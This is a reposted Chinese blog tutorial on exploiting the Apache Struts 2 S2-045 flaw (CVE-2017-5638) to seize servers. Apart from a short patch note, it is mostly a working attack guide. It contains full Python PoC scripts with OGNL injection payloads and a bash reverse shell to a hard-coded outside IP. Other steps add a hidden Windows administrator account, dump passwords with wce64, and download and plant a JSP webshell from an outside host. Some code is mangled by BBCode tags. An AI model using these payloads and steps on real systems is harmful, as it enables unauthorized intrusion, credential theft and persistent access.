WEB安全

如何快速利用s02-45漏洞并获取服务器权限

字号+ 作者:i春秋研习社 来源:转载 2017-03-09 13:59 我要评论( )

1.1CVE-2017-5638 漏洞简介 Apache Struts 2是世界上最流行的JavaWeb服务器框架之一。然而在Struts 2上发现存在高危安全漏洞(CVE-2017-5638,S02-45),该漏洞影响......

1.1CVE-2017-5638漏洞简介
Apache Struts 2是世界上最流行的JavaWeb服务器框架之一。然而在Struts 2上发现存在高危安全漏洞(CVE-2017-5638,S02-45),该漏洞影响到:Struts 2.3.5 - Struts 2.3.31,Struts 2.5 - Struts2.5.10
漏洞编号:CVE-2017-5638
漏洞等级:HIGH
漏洞名称:S2-045Struts 2远程执行代码漏洞
漏洞影响:基于JakartaMultipart解析器执行文件上传时可能的RCE
影响版本:Struts 2.3.5 -Struts 2.3.31
                   Struts 2.5 -Struts 2.5.10
修补方案:
升级到Struts2.3.32Struts 2.5.10.1
Struts2.3.32下载地址: cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32
Struts2.5.10.1下载地址:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1
1.2危害评估
   经过实际测试,只要存在该漏洞windowslinux基本都是服务器权限。危害极大,可以肯定对很多人来说今晚一定是一个不眠之夜。
1.3漏洞实际利用1.3.1准备工作
1.准备一个jsp的目录,保存在肉鸡上,可供下载。
2.准备好具备独立IP的服务器,在上面有nc.exe
3.准备python环境。
4.通过zoomeye去获取各种action页面
1.3.2修改poc利用代码
  1.对于linux版本修改whoami值为:bash -i>& /dev/tcp/122.115.47.39/4433 0>&1
说明122.115.47.39为反弹监控服务器IP,端口为4433,然后将文件保存为poclinux.py,如图1所示。
1修改linuxpoc利用代码
2.对应Windows服务器,修改whomai值为:
net user antian365$ Wsantian365!*/add
net localgroup administratorsantian365$  /add
分别将poc文件保存为pocwin1.py、pocwin2.py,如图2所示。
2修改windows下利用代码
1.3.3Windows下快速实施渗透
   分别执行:
pocwin1.py http://blog.icxun.cn/index.action
pocwin2.py http://blog.icxun.cn/index.action
如果对方存在漏洞,则会直接添加用户“antian365$”,密码“Wsantian365!*”,服务器开启了3389,登录上去然后下载wce64,直接wce64 –w获取当前登录密码,记得一定要使用管理员权限执行。
1.3. 4Linux下快速渗透思路
  1.在服务器上执行监听
   nc –vv –l –p 4433
2.执行poc
poclinux.py http://blog.icxun.cn/index.action,如果目标服务器存在漏洞,则会反弹shell到监听服务器上,如图3所示,直接获取服务器权限。
图3获取服务器反弹权限
3.获取webshell
服务器权限比较不好操作,需要弄一个webshell,方法如下:
(1)寻找jsp文件,执行以下命令:
locate *.jsp
(2)获取网站真实路径
寻找jsp文件,找到以后应该有一个网站路径,其路径为opt/web/apps/zhsh/WebRoot/,如图4所示。执行cd/opt/web/apps/zhsh/WebRoot/到网站目录。
图4获取真实路径
(3)下载webshell文件
下载shell文件:
wget http://182.48.99.164/1.txt
复制1.txt为myma.jsp
cp 1.txt myma.jsp
修改myma.jsp有执行权限:
chmod +x myma.jsp  
图5修改文件执行权限
(4)获取webshell
熟悉的webshell出现了,如图6所示,可以上传文件,执行命令等,如果再需要可以上传大马什么的。
图6获取webshell
1.4源代码
   红色部分是需要修改的部分。
1.4.1poclinx.py
[Python] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#! /usr/bin/env python
# encoding:utf-8
# s02-45_poc.py s02-45_poc.py [url]http://blog.icxun.cn[/url]
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
 
def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/122.115.47.39/4433 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    #print "reponse:\n"
    print response.read()
 
try:
   poc()
except Exception,e:
    print e
    exit(-1)

1.4.2pocwin1.py
[Python] 纯文本查看 复制代码
?
1
2
3
#! /usr/bin/env python[/align][align=left]# encoding:utf-8[/align][align=left]# s02-45_poc.py s02-45_poc.py[url]http://blog.icxun.cn[/url][/align][align=left]import urllib2[/align][align=left]import sys[/align][align=left]from poster.encode importmultipart_encode[/align][align=left]from poster.streaminghttp importregister_openers[/align]
[align=left]def poc():[/align][align=left]   register_openers()[/align][align=left]   datagen, header = multipart_encode({"image1":open("tmp.txt", "rb")})[/align][align=left]   header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87Safari/537.36"[/align][align=left]   header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user antian365$ Wsantian365!* /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"[/align][align=left]   request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)[/align][align=left]   response = urllib2.urlopen(request)[/align][align=left]   #print "reponse:\n"[/align][align=left]   print response.read()[/align]
[align=left]try:[/align][align=left]  poc()[/align][align=left]except Exception,e:[/align][align=left]  printe[/align][align=left]  exit(-1)
1.4.3pocwin2.py
[Python] 纯文本查看 复制代码
?
1
2
3
#! /usr/bin/env python[/align][align=left]# encoding:utf-8[/align][align=left]# s02-45_poc.py[url]http://blog.icxun.cn[/url][/align][align=left]import urllib2[/align][align=left]import sys[/align][align=left]from poster.encode importmultipart_encode[/align][align=left]from poster.streaminghttp importregister_openers[/align]
[align=left]def poc():[/align][align=left]   register_openers()[/align][align=left]   datagen, header = multipart_encode({"image1":open("tmp.txt", "rb")})[/align][align=left]   header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87Safari/537.36"[/align][align=left]   header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net localgroup administrators antian365$  /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"[/align][align=left]   request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)[/align][align=left]   response = urllib2.urlopen(request)[/align][align=left]   #print "reponse:\n"[/align][align=left]   print response.read()[/align]
[align=left]try:[/align][align=left]  poc()[/align][align=left]except Exception,e:[/align][align=left]  printe[/align][align=left]  exit(-1)
   tools.zip

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Web/591.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~